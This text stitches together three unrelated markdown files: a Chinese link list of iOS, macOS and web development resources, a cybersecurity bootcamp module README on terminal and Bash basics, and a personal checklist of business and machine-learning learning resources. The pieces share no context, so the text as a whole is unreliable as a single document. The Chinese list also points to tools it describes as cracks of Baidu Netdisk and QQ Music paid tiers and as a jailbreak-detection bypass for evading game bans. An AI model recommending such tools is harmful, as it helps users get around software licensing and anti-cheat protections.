* [pttrns](http://pttrns.com/) - iOS各种源码.
* [Awesome Haskell资料大全](https://haskell.zeef.com/konstantin.skipor#block_28362_basics) - Awesome Haskell 资料大全：框架，库和软件.
* [Cosmos](http://ios-cosmos.com) - The iOS Cosmos：收录了IOS绝大部分的开源框架和工具.
* [cocoacontrols](https://www.cocoacontrols.com/) - 收集了很多UI控件效果代码，缺点是需要翻墙，而且代码分类不够好。
* [lexrus](https://github.com/lexrus) - lexrus国内出名的iOS开源coder，非常酷的label动画、textfield动画。
* [适合iOS开发者的15大网站推荐](http://www.csdn.net/article/2015-03-04/2824108-ios-developers-sites) - 适合 iOS 开发者的 15 大网站推荐 --- 英文网站。
* [Objective-C GitHub 排名前 100 项目简介](https://github.com/Aufree/trip-to-iOS/blob/master/Top-100.md) - 主要对当前 GitHub 排名前 100 的项目做一个简单的简介, 方便初学者快速了解到当前 Objective-C 在 GitHub 的情况。
* [Github-iOS备忘](http://github.ibireme.com/github/list/ios/) - 整理了比较常用的iOS第三方组件，以及github上的统计.
* [超全！整理常用的iOS第三方资源](http://www.cocoachina.com/ios/20160121/14988.html) - 超全！整理常用的iOS第三方资源.
* [MyGithubMark](https://github.com/JanzTam/MyGithubMark) - Github上的iOS资料-个人记录（持续更新).
* [Github 上的 iOS 开源项目](http://ios.jobbole.com/84684/) - Github 上的 iOS 开源项目总结.
* [iOS资源大全中文版](https://github.com/jobbole/awesome-ios-cn) - iOS资源大全中文版.
* [LearningIOS](https://github.com/zhouhuanqiang/LearningIOS) - Learning materials of iOS.
* [Dev-Repo](https://github.com/DevDragonLi/Dev-Repo) - 学习经验、面试题等集合.
* [awesome-github](https://github.com/AntBranch/awesome-github) - awesome-github:收集这个列表，只是为了更好地使用亲爱的GitHub。
* [freeCodeCamp](https://github.com/freeCodeCamp/freeCodeCamp) - The https://freeCodeCamp.org open source codebase and curriculum. Learn to code and help nonprofits.
* [Show](https://github.com/CharlinFeng/Show) - 成都地区一个公司开源项目目录.
* [EFArticles](https://github.com/EyreFree/EFArticles) - EyreFree 存放所发布的各种水文的仓库.
* [Book-Recommend-Github](https://github.com/iOShuyang/Book-Recommend-Github) - 推荐生活当中积累的优秀Objective-C和Swift三方库.
#### 博客@
* [Halfrost-Field](https://github.com/halfrost/Halfrost-Field) - iOS学习博客.
* [唐巧整理](https://github.com/tangqiaoboy/iOSBlogCN) - 中文 iOS/Mac 开发博客列表,猿题库唐巧整理.
* [11个超棒的iOS开发学习国外网站](http://www.cocoachina.com/ios/20150626/11348.html) - 11个超棒的iOS开发学习网站:[objc.io](https://www.objc.io) ;[subjc.com](http://subjc.com) ;[NSHipster](http://nshipster.com) ;[Peter Steinberger](http://petersteinberger.com) ;[Ole Begemann](http://oleb.net) ;[Florian Kugler](http://floriankugler.com) ;[NSBlog](https://www.mikeash.com/pyblog/) ;[Cocoa](http://cocoa.tumblr.com) ;[iOS Dev Weekly](http://iosdevweekly.com) ;[iOS Developer Tips](http://iosdevelopertips.com) ;[iOS Goodies](http://ios-goodies.com) ;[AppCoda](http://www.appcoda.com) 香港人创建;[Krzysztof Zab?ocki](http://merowing.info) ;[iOS Development tips](http://iosdevtips.co) ;
博客地址 | RSS地址
----- | -----
[南峰子的技术博客](http://southpeak.github.io/) | 南峰子的技术博客。
[唐巧的技术博客](http://blog.devtang.com) | <http://blog.devtang.com/atom.xml>
[OneV's Den](https://onevcat.com) | <https://onevcat.com/atom.xml>
[objc 中国](http://objccn.io/) | 为中国 Objective-C 社区带来最佳实践和先进技术。
[破船之家](http://beyondvincent.com) | <http://beyondvincent.com/atom.xml>
[NSHipster](http://nshipster.cn) | <http://nshipster.cn/feed.xml>
[Limboy 无网不剩](http://limboy.me/) | <http://feeds.feedburner.com/lzyy>
[Lex iOS notes](http://lextang.com) | <http://ios.lextang.com/rss>
[念茜的博客](http://nianxi.net) | <http://nianxi.net/feed.xml>
[Xcode Dev](http://blog.xcodev.com) | <http://blog.xcodev.com/atom.xml>
[Ted's Homepage](http://wufawei.com/)| <http://wufawei.com/feed>
[txx's blog](http://blog.t-xx.me) | <http://blog.t-xx.me/atom.xml>
[KEVIN BLOG](http://imkevin.me) | <http://imkevin.me/rss>
[阿毛的蛋疼地](http://xiangwangfeng.com/) | <http://xiangwangfeng.com/atom.xml>
[亚庆的 Blog](http://billwang1990.github.io) | <http://billwang1990.github.io/atom.xml>
[Nonomori](http://nonomori.farbox.com) | <http://nonomori.farbox.com/feed>
[言无不尽](http://tang3w.com) | <http://tang3w.com/atom.xml>
[Wonderffee's Blog](http://wonderffee.github.io) | <http://wonderffee.github.io/atom.xml>
[I'm TualatriX](http://imtx.me) | <http://imtx.me/feed/latest/>
[vclwei](http://www.vclwei.com/) | <http://www.vclwei.com/posts.rss>
[Cocoabit](http://blog.cocoabit.com) | <http://blog.cocoabit.com/atom.xml>
[nixzhu on scriptogr.am](http://nixzhu.me) | <http://nixzhu.me/feed>
[不会开机的男孩](http://studentdeng.github.io) | <http://studentdeng.github.io/atom.xml>
[Nico](http://www.taofengping.com) | <http://www.taofengping.com/rss.xml>
[阿峰的技术窝窝](http://hufeng825.github.io) | <http://hufeng825.github.io/atom.xml>
[answer_huang](http://answerhuang.duapp.com) | <http://answerhuang.duapp.com/index.php/feed/>
[webfrogs](http://webfrogs.me) | <http://webfrogs.me/feed/>
[代码手工艺人](http://joeyio.com) | <http://joeyio.com/atom.xml>
[Lancy's Blog](http://gracelancy.com) | <http://gracelancy.com/atom.xml>
[I'm Allen](http://imallen.com/) | <http://imallen.com/atom.xml>
[Travis' Blog](http://imi.im/)| <http://imi.im/feed>
[王中周的技术博客](http://wangzz.github.io/) |<http://wangzz.github.io/atom.xml>
[会写代码的猪](http://jiajun.org/)|<http://gaosboy.com/feed/atom/>
[克伟的博客](http://wangkewei.cnblogs.com/)|<http://feed.cnblogs.com/blog/u/23857/rss>
[摇滚诗人](http://www.cnblogs.com/biosli)|<http://feed.cnblogs.com/blog/u/35410/rss>
[Luke's Homepage](http://geeklu.com/) | <http://geeklu.com/feed/>
[萧宸宇](http://iiiyu.com/) | <http://iiiyu.com/atom.xml>
[Yuan博客](http://www.heyuan110.com/) | <http://www.heyuan110.com/?feed=rss2>
[Shining IO](http://shiningio.com/) | <http://shiningio.com/atom.xml>
[YIFEIYANG--易飞扬的博客](http://www.yifeiyang.net/) | <http://www.yifeiyang.net/feed>
[KooFrank's Blog](http://koofrank.com/) | <http://koofrank.com/rss>
[hello it works](http://helloitworks.com) | <http://helloitworks.com/feed>
[码农人生](http://msching.github.io/) | <http://msching.github.io/atom.xml>
[玉令天下的Blog](http://yulingtianxia.com) | <http://yulingtianxia.com/atom.xml>
[不掏蜂窝的熊](http://www.hotobear.com/) | <http://www.hotobear.com/?feed=rss2>
[猫·仁波切](https://andelf.github.io/) | <https://andelf.github.io/atom.xml>
[煲仔饭](http://ivoryxiong.org/) | <http://ivoryxiong.org/feed.xml>
[里脊串的开发随笔](http://adad184.com) | <http://adad184.com/atom.xml>
[ibireme伽蓝之堂](http://blog.ibireme.com/) | <http://blog.ibireme.com/feed/>
[https://onevcat.com/#blog](王巍的博客)
#### 学习笔记@
* [iOS-Note](https://github.com/seedante/iOS-Note) - A@ 非常好的学习笔记，主要目录1.Core Data 笔记2.Photos 笔记3.转场动画详解4.自定义容器控制器转场5.交互式动画.
* [iOS-InterviewQuestion-collection](https://github.com/liberalisman/iOS-InterviewQuestion-collection) - iOS 开发者在面试过程中，常见的一些面试题，建议尽量弄懂了原理，并且多实践.
#### 书籍@
* [free-programming-books-zh_CN](https://github.com/justjavac/free-programming-books-zh_CN) - 免费的计算机编程类中文书籍.
* [awesome-programming-books](https://github.com/jobbole/awesome-programming-books) - 经典编程书籍大全，涵盖：计算机系统与网络、系统架构、算法与数据结构、前端开发、后端开发、移动开发、数据库、测试、项目与团队、程序员职业修炼、求职面试等.
* [coding-interview-university](https://github.com/jwasham/coding-interview-university/blob/master/translations/README-cn.md) - [译] Google Interview University 一套完整的学习手册帮助自己准备 Google 的面试.
* [it-ebooks](http://www.it-ebooks.info/) - 可以下载IT电子书籍的网站（英文）.
* [allitebooks](http://www.allitebooks.com/) - 各种各样的IT电子书籍都可以找到（英文）.
* [oreilly Free Programming Ebooks](http://www.oreilly.com/programming/free/) - ORielly 的免费电子书，有需要的童鞋可以免费下载（英文).
* [free-programming-books](https://github.com/EbookFoundation/free-programming-books/blob/master/free-programming-books.md) - 免费的编程书籍索引（英文）.
* [gitbook](https://www.gitbook.com/explore?lang=all) - gitbook上有很多书籍，可以看看（英文、中文）.
* [QDFuns](http://www1.qdfuns.com/feres.php?do=picture&listtype=book) - 里面也能下载一些书籍资源.
#### 设计@
* [design-resource](https://github.com/timmy3131/design-resource) - 设计师资源列表.
#### 物联网@
* [awesome-iot](https://github.com/phodal/awesome-iot) - 这份物联网学习参考大全太给力。从物联网协议、嵌入式系统、相关开源库、相关书籍、博客、学习笔记、标准应有尽有。
#### mac@
* [wechat_jump_game](https://github.com/wangshub/wechat_jump_game) - 微信《跳一跳》Python 辅助.
* [WeChatExtension-ForMac](https://github.com/MustangYM/WeChatExtension-ForMac) - Mac版微信的功能拓展.
* [spectacle](https://github.com/eczarny/spectacle) - Spectacle allows you to organize your windows without using a mouse(窗口控制器).
* [alfred-workflows](https://github.com/zenorocha/alfred-workflows) - 首推 Alfred，可以说是 Mac 必备软件，利用它我们可以快速地进行各种操作，大幅提高工作效率，如快速打开某个软件、快速打开某个链接、快速搜索某个文档，快速定位某个文件，快速查看本机 IP，快速定义某个色值，几乎你能想到的都能对接实现.
* [radiant-player-mac](https://github.com/radiant-player/radiant-player-mac) - 一个Google Play音乐转换成与Mac整合的独立，美观的mac音乐播放器.
* [aria2gui](https://github.com/yangshun1029/aria2gui) - 不错的下载工具，添加插件后支持百度网盘高速下载.
* [DevDataTool](https://github.com/MxABC/DevDataTool) - OSX系统 转换、加解密工具.
* [high-speed-downloader](https://github.com/high-speed-downloader/high-speed-downloader) - 百度网盘不限速下载 支持Windows和Mac 2018年1月16日更新.
* [MenuMeters](https://github.com/yujitach/MenuMeters) - my fork of MenuMeters by.
* [WeChatPlugin-MacOS](https://github.com/TKkk-iOSer/WeChatPlugin-MacOS) - mac OS版微信小助手 功能: 自动回复、消息防撤回、远程控制、微信多开.
* [WeChatTweak-macOS](https://github.com/Sunnyyoung/WeChatTweak-macOS) - A dynamic library tweak for WeChat macOS - 微信 macOS 客户端撤回拦截与多开.
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) - 防止mac休眠.
* [squirrel](https://github.com/rime/squirrel) - Rime鼠须管”输入法.
* [Sparkle](https://github.com/sparkle-project/Sparkle) - A software update framework for macOS (mac软件自动升级开源类库).
* [magnetX](https://github.com/youusername/magnetX) - 资源搜索型软件 macOS OSX magnet.
* [highsierramediakeyenabler](https://github.com/milgra/highsierramediakeyenabler) - MacOS High Sierra Media Key Enabler for iTunes.
* [santa](https://github.com/google/santa) - A binary whitelisting/blacklisting system for Mac OS X.
* [overkill-for-mac](https://github.com/KrauseFx/overkill-for-mac) - Stop iTunes from opening when you connect your iPhone.
* [Sloth](https://github.com/sveinbjornt/Sloth) - Mac app that shows all open files and sockets in use by all running applications. Nice GUI for lsof. 记录Mac应用访问了那些文件、IP、目录等等.
* [QQMusicHelper](https://github.com/AsTryE/QQMusicHelper) - Mac版QQ音乐绿砖破解，可收听无损音乐和下载无损音乐到本地.
* [MarzipanPlatter](https://github.com/biscuitehh/MarzipanPlatter) - UIKit + macOS.
* [HexFiend](https://github.com/ridiculousfish/HexFiend) - A fast and clever hex editor for Mac OS X.
* [hammerspoon](https://github.com/Hammerspoon/hammerspoon) - Staggeringly powerful OS X desktop automation with Lua(一个可以用来进行窗口管理的 App).
* [marzipanify](https://github.com/steventroughtonsmith/marzipanify) - Convert an iOS Simulator app bundle to an iOSMac (Marzipan) one (Unsupported & undocumented, WIP).
* [EnergyBar](https://github.com/billziss-gh/EnergyBar) - Supercharge your Mac's Touch Bar.
* [HexFiend](https://github.com/ridiculousfish/HexFiend) - 在mac下查看二进制文件的编辑器.
* [syncthing-macos](https://github.com/syncthing/syncthing-macos) - Frugal and native macOS Syncthing application bundle.
* [blink](https://github.com/blinksh/blink) - 可用于iOS的shell工具.
* [QQRedPackHelper](https://github.com/AsTryE/QQRedPackHelper) - Mac 系统下的QQ抢红包插件,消息防撤回，消息自动回复，红包指定群过滤，红包指定关键字过滤，无需回复-抢文字口令红包，时间随机延迟抢红包.
* [MacPass](https://github.com/MacPass/MacPass) - mac os密码管理工具.
* [Retroactive](https://github.com/cormiertyshawn895/Retroactive) - Run Aperture, iPhoto, or iTunes on macOS Catalina.
* [BaiduNetdiskPlugin-macOS ](https://github.com/CodeTips/BaiduNetdiskPlugin-macOS) - For macOS.百度网盘 破解SVIP、下载速度限制.
* [MaciASL](https://github.com/acidanthera/MaciASL) - Macisl黑苹果ACPI编译修改工具.
* [Hackintool](https://github.com/headkaze/Hackintool) - Mac平台上的一款黑苹果系统工具。Hackintool 中文版是黑苹果安装完成后定制核显、定制USB、调试显卡必不可少的万能驱动神器，这款直观的补丁工具，使配置和排除您的Hackintosh系统故障的过程更容易一点.
* [keycastr](https://github.com/keycastr/keycastr) - 一个开源的击键可视化工具.
#### iOS插件@
* [WeChatRedEnvelopesHelper](https://github.com/kevll/WeChatRedEnvelopesHelper) - iOS版微信抢红包插件,支持后台抢红包.
#### 开发环境@
* [iTerm2](https://github.com/gnachman/iTerm2) - iTerm2 is a terminal emulator for Mac OS X that does amazing things. http://iterm2.com/.
* [Homebrew](https://github.com/Homebrew/brew) Homebrew是一款Mac OS平台下的软件包管理工具，拥有安装、卸载、更新、查看、搜索等很多实用的功能。简单的一条指令，就可以实现包管理，而不用你关心各种依赖和文件路径的情况，十分方便快捷。
#### game@
* [Retro](https://github.com/OpenEmu/OpenEmu) - 🕹 Retro video game emulation for macOS.
* [Game Off 2017 winners](https://github.com/blog) - Game Off 2017 winners Github.
#### 前端@
* [fks](https://github.com/JacksonTian/fks) - 前端技能汇总 Frontend Knowledge Structure.
* [blog](https://github.com/zhiqiang21/blog) - 记录前端开发日常点滴。为梦想Coding...
* [TSW](https://github.com/Tencent/TSW) - 一套面向WEB前端开发者，以提升问题定位效率为初衷，提供染色抓包、全息日志和异常发现的Node.js基础设施.
* [phoenix](https://github.com/kasper/phoenix) - A lightweight macOS/OS X window and app manager scriptable with JavaScript.
* [bootstrap](https://github.com/twbs/bootstrap) - The most popular HTML, CSS, and JavaScript framework for developing responsive, mobile first projects on the web.
* [freeCodeCamp](https://github.com/freeCodeCamp/freeCodeCamp) - 非常棒👍👍👍 We’re a community that helps you learn to code, then get experience by contributing to open source projects used by
nonprofits.
* [You-Dont-Know-JS](https://github.com/getify/You-Dont-Know-JS) - A book series on JavaScript. @YDKJS on twitter.
* [wiki](https://github.com/d3/d3/wiki) - D3 (Data-Driven Documents or D3.js) is a JavaScript library for visualizing data using web standards.
* [awesome-python](https://github.com/vinta/awesome-python) - A curated list of awesome Python frameworks, libraries, software and resources.
* [You-Dont-Need-jQuery](https://github.com/oneuijs/You-Dont-Need-jQuery) - 专注于使用 vanilla JavaScript 解决典型的编程问题，这个仓库的兴起与 React 的兴起密切相关； Examples of how to do query, style, dom, ajax, event etc like jQuery with plain javascript.
* [public-apis](https://github.com/toddmotto/public-apis) - 经常更新的web开发公共JSON API 列表。 A collective list of public JSON APIs for use in web development.
* [wiki](https://github.com/d3/d3/wiki) - D3 (Data-Driven Documents or D3.js) is a JavaScript library for visualizing data using web standards.
* [You-Dont-Need-jQuery](https://github.com/oneuijs/You-Dont-Need-jQuery) - Examples of how to do query, style, dom, ajax, event etc like jQuery with plain javascript.
* [public-apis](https://github.com/toddmotto/public-apis) - A collective list of public JSON APIs for use in web development.
* [weapp-ide-crack](https://github.com/gavinkwoe/weapp-ide-crack) - 【应用号】IDE + 破解 + Demo.
* [taobao](https://github.com/KeithChou/taobao) - 淘宝购物车站点.
#### 后台@
* [HttpServerDebug](https://github.com/rob2468/HttpServerDebug)
* [GCDWebServer](https://github.com/swisspol/GCDWebServer) - 基于GCD的轻量级的HTTP1.1的服务器.
* [awesome-python](https://github.com/vinta/awesome-python) - A curated list of awesome Python frameworks, libraries, software and resources.
* [django](https://github.com/django/django) - The Web framework for perfectionists with deadlines.
* [Python-Guide-CN](https://github.com/Prodesire/Python-Guide-CN) - Python最佳实践指南.
* [APIJSON](https://github.com/APIJSON/APIJSON) - 🏆码云最有价值开源项目 🚀后端接口和文档自动化，前端(客户端) 定制返回 JSON 的数据和结构！.
#### AppHTTPServer@
* [CocoaHTTPServer](https://github.com/robbiehanson/CocoaHTTPServer) - A small, lightweight, embeddable HTTP server for Mac OS X or iOS applications.
#### 其他@
* [BaiduYunEnhancer](https://github.com/maoger/BaiduYunEnhancer) - 破解 百度云/百度网盘 的下载限制.
* [UTM](https://github.com/utmapp/UTM) - 让你的iphone可以运行windows、Android等的虚拟机.
* [KernBypass-Public](https://github.com/akusio/KernBypass-Public) - 内核级越狱屏蔽检测，简单而实用级,屏蔽吃鸡封号,游戏封号
#### Runtime@
* [jrswizzle](https://github.com/rentzsch/jrswizzle) - runtime实现的Method Swizzling第三方框架.
* [jrswizzle介绍](https://www.valiantcat.cn/index.php/2017/11/03/53.html?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io)
### AI@
* [ColossalAI](https://github.com/hpcaitech/ColossalAI) - Colossal-AI provides a collection of parallel components for you.
|
## Module 3 README: Terminal and Bash
### Module Description
In this module, we will gain technical hands-on experience by using bash and the command line. Learning the command line can be a challenging adjustment, but it is an absolutely vital skill for IT and Cybersecurity professionals.
- We will begin with basic file navigation and retrieval. Then, we'll expand into file searching, combining commands, and adding command options. Then we will use text processing and text editing to develop a custom command-line script.
### Module Objectives
<details>
<summary>Click here to view the daily module objectives.</summary>
<br>
- **Day 1:** How Sweet is the Terminal?
- Discuss the prominence and utility of the command line in IT and security professions.
- Use commands like `ls`, `cd`, `mkdir`, `touch`, `cp`, `mv`, `rm`, `rmdir`, and `cat` for basic file navigation and manipulation.
- Navigate deeply nested folder structures using relative and absolute file paths.
- Use commands like `head`, `tail`, `more`, and `less` to preview files in the command line.
- Combine the above commands in sequence to accomplish relevant IT tasks.
- **Day 2:** Commanding the Command Line
- Identify and explain the structure of a terminal command.
- Explain how options modify the default behavior of a terminal command.
- Use the `man` command to list instructions and options for each command.
- Use the `find` command to locate files based on search parameters.
- Use the `grep` command to search within the contents of files.
- Use the `wc` command to count words and lines.
- Combine multiple commands in sequence with pipes to accomplish intermediate IT tasks.
- **Day 3:** Stick to the Script
- Define three benefits of text processing programs over programming languages for a security professional.
- Use `sed` to make substitutions to a file.
- Use `awk` to isolate data points from a complex log file.
- Edit contents of a file using `nano`.
- Design an IP lookup shell script by passing arguments.
</details>
### Lab Environment
You will use your local Vagrant virtual machine for today's activities.
- Student access:
- Username:`sysadmin`
- Password: `cybersecurity`
### What to Be Aware Of:
- Your Vagrant local machine should be set-up before Day 1.
- Practice makes perfect! This is the first technical, hands-on module of the course and it can take some hard work to adjust to. Take the time you need to practice getting used to working on the command line.
### Security+ Domains Covered
This module covers portions of the following domains on the Security+ exam:
- 2.0 Architecture and Design
For more information about these Security+ domains, refer to the following resource: [Security+ Exam Objectives](https://comptiacdn.azureedge.net/webcontent/docs/default-source/exam-objectives/comptia-security-sy0-601-exam-objectives-(2-0).pdf?sfvrsn=8c5889ff_2)
### Additional Reading and Resources
<details>
<summary> Click here to view additional reading materials and resources. </summary>
</br>
These resources are provided as optional, recommended resources to supplement the concepts covered in this module.
- **Day 1 Resources**
- [Terminal Cheat Sheet](https://terminalcheatsheet.com/)
- [Computer Hope: Command line vs. GUI](https://www.computerhope.com/issues/ch000619.htm#:~:text=A%20GUI%20offers%20a%20lot,is%20utilized%20by%20more%20users.&text=A%20computer%20that%20is%20only,system%20resources%20than%20a%20GUI.)
- [Programming Historian: Intro to Bash](https://programminghistorian.org/en/lessons/intro-to-bash)
- **Day 2 Resources**
- [kernal.org: The Linux man-pages project](https://www.kernel.org/doc/man-pages/)
- [Computerfile: Where GREP Came From](https://www.youtube.com/watch?v=NTfOnGZUZDk)
- **Day 3 Resources**
- [Advanced Bash Scripting Guide: Text Processing Commands](https://tldp.org/LDP/abs/html/textproc.html)
</details>
---
### Module 3: Challenge Assignment
This module's Challenge assignment can be viewed here:
- [Module Challenge File](../../2-Homework/03-Terminal-and-Bash)
### Looking Forward
Next week, we will start thinking like system administrators. We will learn about the Linux operating system and build off the commands and skills we learn in Module 3 in order to investigate and troubleshoot a malfunctioning server.
---
© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
|
# learning
<p align="center">
<img src="https://i.imgur.com/A5J6Qdb.png" width="316" height="292"/>
</p>
**Learning Philosophy**:
- [Data Scientists Should Be More End-to-End](https://eugeneyan.com/writing/end-to-end-data-science/)
- [Just in Time Learning](https://www.developgoodhabits.com/just-in-time-learning/)
- [Master Adjacent Disciplines](http://www.effectiveengineer.com/blog/master-adjacent-disciplines)
- [T-shaped skills](https://en.wikipedia.org/wiki/T-shaped_skills)
- [The Power of Tiny Gains](https://jamesclear.com/continuous-improvement)
### Have basic business understanding
- [X] [Book: Delivering Happiness](https://www.amazon.com/Delivering-Happiness-Profits-Passion-Purpose/dp/0446576220)
- [X] [Book: Good to Great: Why Some Companies Make the Leap...And Others Don't](https://www.amazon.com/Good-Great-Some-Companies-Others-ebook/dp/B0058DRUV6)
- [X] [Book: Hello, Startup: A Programmer's Guide to Building Products, Technologies, and Teams](https://www.amazon.com/Hello-Startup-Programmers-Building-Technologies/dp/1491909900)
- [X] [Book: How Google Works](https://www.howgoogleworks.net)
- [X] [Book: Learn to Earn: A Beginner's Guide to the Basics of Investing and Business](https://www.goodreads.com/book/show/817589.Learn_to_Earn)
- [X] [Book: Rework](https://www.goodreads.com/book/show/6732019-rework)
- [X] [Book: The Airbnb Story](https://www.amazon.com/Airbnb-Story-Ordinary-Disrupted-Controversy/dp/0544952669)
- [X] [Book: The Personal MBA](https://www.amazon.com/Personal-MBA-Master-Art-Business/dp/1591845572)
- [X] [Facebook: Digital marketing: get started](https://learn.fb.com/skillset/marketing-started)
- [X] [Facebook: Digital marketing: go further](https://learn.fb.com/skillset/marketing-further)
- [X] [Google Analytics for Beginners](https://analytics.google.com/analytics/academy/course/6)
- [X] [Moz: The Beginner's Guide to SEO](https://moz.com/beginners-guide-to-seo)
- [X] [Smartly: Marketing Fundamentals](https://smart.ly/course/abd47e21-4b59-4ccf-910d-fb1c18b2e9df)
- [X] [Treehouse: SEO Basics](https://teamtreehouse.com/library/seo-basics)
- [ ] [Udacity: App Monetization](https://www.udacity.com/course/app-monetization--ud518)
- [ ] [Udacity: App Marketing](https://www.udacity.com/course/app-marketing--ud719)
- [ ] [Udacity: How to Build a Startup](https://www.udacity.com/course/how-to-build-a-startup--ep245)
### Be familiar with how ML is applied at other companies
- [X] [Article: How Facebook uses super-efficient AI models to detect hate speech](https://ai.facebook.com/blog/how-facebook-uses-super-efficient-ai-models-to-detect-hate-speech)
- [X] [Article: Recent Advances in Google Translate](https://ai.googleblog.com/2020/06/recent-advances-in-google-translate.html)
- [X] [Article: Cannes: How ML saves us $1.7M a year on document previews](https://dropbox.tech/machine-learning/cannes--how-ml-saves-us--1-7m-a-year-on-document-previews)
- [X] [Article: Machine Learning @ Monzo in 2020](http://nlathia.github.io/2020/10/Monzo-ML.html)
- [X] [Article: How image search works at Dropbox](https://dropbox.tech/machine-learning/how-image-search-works-at-dropbox)
- [X] [Real-world AI Case Studies](#)
- [X] [Andrej Karpathy on AI at Tesla (Full Stack Deep Learning - August 2018)](https://www.youtube.com/watch?v=ZVJTqAuPvTU&list=PL1T8fO7ArWlf4EkqeguoD70LsnOJ7c9Ib&index=7)
- [X] [Jai Ranganathan at Data Science at Uber (Full Stack Deep Learning - August 2018)](https://youtu.be/8PjTWFfjkeY?list=PL1T8fO7ArWlf4EkqeguoD70LsnOJ7c9Ib)
- [X] [John Apostolopoulos of Cisco discusses "Machine Learning in Networking"](https://www.youtube.com/watch?v=9XdGZVohnno) `0:48:44`
- [X] [Joaquin Candela, Director of Applied Machine Learning, Facebook in conversation with Esteban Arcaute](https://www.youtube.com/watch?v=Fw8adDBBfog) `0:52:27`
- [X] [Eric Colson, Chief Algorithms Officer, Stitch Fix](https://www.youtube.com/watch?v=z_OGYzT_MBo) `0:53:57`
- [X] [Claudia Perlich, Advisor to Dstillery and Adjunct Professor NYU Stern School of Business](https://www.youtube.com/watch?v=p0cQUErM5xs) `0:51:59`
- [X] [Jeff Dean, Google Senior Fellow and SVP Google AI - Deep Learning to Solve Challenging Problems](https://www.youtube.com/watch?v=imlp8DGNkk0) `0:58:45`
- [X] [James Parr, Director of Frontier Development Lab (NASA), FDL Europe & CEO, Trillium Technologies](https://www.youtube.com/watch?v=suamFkw9jws) `0:55:46`
- [X] [Daphne Koller, Founder & CEO of Insitro - In Conversation with Carlos Bustamante](https://www.youtube.com/watch?v=uyLT7EfWmsg) `0:49:29`
- [X] [Eric Horvitz, Microsoft Research - AI in the Open World: Advances, Aspirations, and Rough Edges](https://www.youtube.com/watch?v=4owh40tJ0wA) `0:56:11`
- [X] [Tony Jebara, Netflix - Machine Learning for Recommendation and Personalization](https://www.youtube.com/watch?v=5u35GY24A0Q) `0:55:20`
- [X] [Datacamp: Analyzing Police Activity with pandas](https://www.datacamp.com/courses/analyzing-police-activity-with-pandas)
- [X] [Datacamp: HR Analytics in Python: Predicting Employee Churn](https://www.datacamp.com/courses/hr-analytics-in-python-predicting-employee-churn)
- [X] [Datacamp: Predicting Customer Churn in Python](https://www.datacamp.com/courses/predicting-customer-churn-in-python)
- [X] [Youtube: How does YouTube recommend videos? - AI EXPLAINED!](https://www.youtube.com/watch?v=wDxTWp3KMMs) `0:33:53`
- [X] [Youtube: How does Google Translate's AI work?](https://www.youtube.com/watch?v=sIoHFPGOY0I) `0:15:02`
- [X] [Youtube: Data Science in Finance](https://www.youtube.com/watch?v=mbOkL39Uabs) `0:17:52`
- [X] [Youtube: The Age of AI](https://www.youtube.com/playlist?list=PLjq6DwYksrzz_fsWIpPcf6V7p2RNAneKc)
- [X] [How Far is Too Far? | The Age of A.I.](https://www.youtube.com/watch?v=UwsrzCVZAb8) `0:34:39`
- [X] [Healed through A.I. | The Age of A.I.](https://www.youtube.com/watch?v=V5aZjsWM2wo) `0:39:55`
- [X] [Using A.I. to build a better human | The Age of A.I.](https://www.youtube.com/watch?v=lrv8ga02VNg) `0:44:27`
- [X] [Love, art and stories: decoded | The Age of A.I.](https://www.youtube.com/watch?v=Kr1fmKVY3cA) `0:38:57`
- [X] [The 'Space Architects' of Mars | The Age of A.I.](https://www.youtube.com/watch?v=lIvrIKaNCRE) `0:30:10`
- [X] [Will a robot take my job? | The Age of A.I.](https://www.youtube.com/watch?v=f2aocKWrPG8) `0:36:14`
- [X] [Saving the world one algorithm at a time | The Age of A.I.](https://www.youtube.com/watch?v=0wy4u34fii4) `0:46:37`
- [X] [How A.I. is searching for Aliens | The Age of A.I.](https://www.youtube.com/watch?v=VwtC_4t2g5M) `0:36:12`
- [X] [Youtube: Using Intent Data to Optimize the Self-Solve Experience](https://lucidworks.com/post/using-intent-data-to-optimize-the-self-solve-experience/)
- [X] [Youtube: Trillions of Questions, No Easy Answers: A (home) movie about how Google Search works](https://www.youtube.com/watch?v=tFq6Q_muwG0)
- [X] [Youtube: Google Machine Learning System Design Mock Interview](https://www.youtube.com/watch?v=uF1V2MqX2U0)
- [X] [Youtube: Netflix Machine Learning Mock Interview: Type-ahead Search](https://www.youtube.com/watch?v=12Ry6kGPQVs)
- [X] [Youtube: Machine Learning design: Search engine for Q&A](https://www.youtube.com/watch?v=J_0ms1ayqKE)
- [X] [Youtube: Engineering Systems for Real-Time Predictions @DoorDash](https://www.youtube.com/watch?v=sEZsIUBIhNk)
- [X] [Youtube: How Gmail Uses Iterative Design, Machine Learning and AI to Create More Assistive Features](https://youtu.be/5UjCjVWa3yc?list=LL)
- [X] [Youtube: Wayfair Data Science Explains It All: Human-in-the-loop Systems](https://youtu.be/miMwyvXt9VI?list=LL)
- [X] [Youtube: Leaving the lab: Building NLP applications that real people can use](https://youtu.be/Z2FdH3j8Wbc?list=LL)
- [X] [Youtube: Machine Learning at Uber (Natural Language Processing Use Cases)](https://www.youtube.com/watch?v=R9z6s0Jx2p0)
- [X] [Youtube: Google Wave: Natural Language Processing](https://www.youtube.com/watch?v=Sx3Fpw0XCXk)
- [X] [Youtube: Natural Language Understanding in Alexa](https://www.youtube.com/watch?v=U1yT_4xcglY)
- [X] [Youtube: The Machine Learning Behind Alexa’s AI Systems](https://www.youtube.com/watch?v=Dkg1ULBASNA)
- [X] [Youtube: Ines Montani Keynote - Applied NLP Thinking](https://www.youtube.com/watch?v=mJqFI7vhqdA)
- [X] [Youtube: Lecture 9: Lukas Biewald](https://youtu.be/25_kBogrzrs)
- [X] [Youtube: Lecture 13: Research Directions](https://youtu.be/vF7UgqaegVI)
- [X] [Youtube: Lecture 14: Jeremy Howard](https://youtu.be/hZd3X_nGdew)
- [X] [Youtube: Lecture 15: Richard Socher](https://youtu.be/yvMgcLKuvVg)
- [X] [Youtube: Machine learning across industries with Vicki Boykis](https://www.youtube.com/watch?v=pOnRSYSNuXI) `0:34:02`
- [X] [Youtube: Rachael Tatman - Conversational A.I. and Linguistics](https://www.youtube.com/watch?v=n_CTGZSq4m0) `0:36:51`
- [X] [Youtube: Nicolas Koumchatzky - Machine Learning in Production for Self Driving Cars](https://www.youtube.com/watch?v=NbiG8ZuRsqU) `0:44:56`
